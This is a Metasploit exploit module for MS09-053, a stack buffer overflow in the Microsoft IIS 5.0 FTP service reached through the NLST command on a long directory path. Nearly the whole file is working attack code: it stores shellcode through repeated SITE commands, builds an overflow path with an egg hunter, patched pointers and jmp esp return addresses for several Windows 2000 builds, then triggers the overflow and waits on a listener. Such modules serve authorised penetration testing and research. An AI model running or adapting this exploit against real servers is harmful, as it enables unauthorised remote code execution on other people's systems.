##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS09-053 Microsoft IIS FTP Server NLST Response Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow flaw in the Microsoft IIS FTP
          service. The flaw is triggered when a special NLST argument is passed
          while the session has changed into a long directory path. For this exploit
          to work, the FTP server must be configured to allow write access to the
          file system (either anonymously or in conjunction with a real account)
        },
        'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['EDB', '9541'],
          ['CVE', '2009-3023'],
          ['OSVDB', '57589'],
          ['BID', '36189'],
          ['MSB', 'MS09-053'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Privileged' => true,
        'Payload' => {
          'Space' => 490,
          'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",
          # This is for the stored payload, the real BadChar list for file paths is:
          # \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c
          'StackAdjustment' => -3500,
        },
        'Platform' => [ 'win' ],
        'Targets' => [
          [
            'Windows 2000 SP4 English/Italian (IIS 5.0)',
            {
              'Ret' => 0x773d24eb, # jmp esp in activeds.dll (English / 5.0.2195.6601)
              'Patch' => 0x7ffd7ffd # works for off-by-two alignment
            },
          ],
          [
            'Windows 2000 SP3 English (IIS 5.0)',
            {
              'Ret' => 0x77e42ed8, # jmp esp in user32.dll (English / 5.0.2195.7032)
              'Patch' => 0x7ffd7ffd # works for off-by-two alignment
            },
          ],
          [
            # target from TomokiSanaki
            'Windows 2000 SP0-SP3 Japanese (IIS 5.0)',
            {
              'Ret' => 0x774fa593, # jmp esp in ?? (Japanese)
              'Patch' => 0x7ffd7ffd # works for off-by-two alignment
            },
          ],
        ],
        'DisclosureDate' => '2009-08-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([Opt::RPORT(21),])
  end

  def exploit
    connect_login

    based = rand_text_alpha_upper(10)

    res = send_cmd(['MKD', based ], true)
    print_status(res.strip)

    if (res !~ /directory created/)
      print_error("The root directory of the FTP server is not writeable")
      disconnect
      return
    end

    res = send_cmd(['CWD', based ], true)
    print_status(res.strip)

    egg = rand_text_alpha_upper(4)
    hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"

    # This egg hunter is necessary because of the huge set of restricted characters for directory names
    # The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter
    # The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order
    # to locate the real shellcode. The only change from the original hunter was to randomize the
    # prefix used.

    # Store our real shellcode on the stack
    1.upto(5) do
      res = send_cmd(['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true)
    end

    # Create the directory path that will be used in the overflow
    pre = rand_text_alpha_upper(3)              # esp+0x28 points here
    pst = rand_text_alpha_upper(210)            # limited by max path

    pst[0, hun.length] = hun                 # egg hunter
    pst[90, 4] = [target['Patch']].pack('V') # patch smashed pointers
    pst[94, 4] = [target['Patch']].pack('V')	# patch smashed pointers
    pst[140, 32] = [target['Patch']].pack('V') * 8 # patch smashed pointers
    pst[158, 4] = [target.ret].pack("V")      # return
    pst[182, 5] = "\xe9" + [-410].pack("V")   # jmp back

    # Escape each 0xff with another 0xff for FTP
    pst = pst.gsub("\xff", "\xff\xff")

    print_status("Creating long directory...")
    res = send_cmd(['MKD', pre + pst ], true)
    print_status(res.strip)

    srv = Rex::Socket::TcpServer.create(
      'LocalHost' => '0.0.0.0',
      'LocalPort' => 0,
      'SSL' => false,
      'Context' => {
        'Msf' => framework,
        'MsfExploit' => self,
      }
    )

    add_socket(srv)

    begin
      thr = framework.threads.spawn("Module(#{self.refname})-Listener", false) { srv.accept }

      prt = srv.getsockname[2]
      prt1 = prt / 256
      prt2 = prt % 256

      addr = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"

      res = send_cmd(['PORT', addr ], true)
      print_status(res.strip)

      print_status("Trying target #{target.name}...")

      res = send_cmd(['NLST', pre + pst + "*/../" + pre + "*/"], true)
      print_status(res.strip) if res

      select(nil, nil, nil, 2)

      handler
      disconnect
    ensure
      thr.kill
      srv.close
    end
  end
end
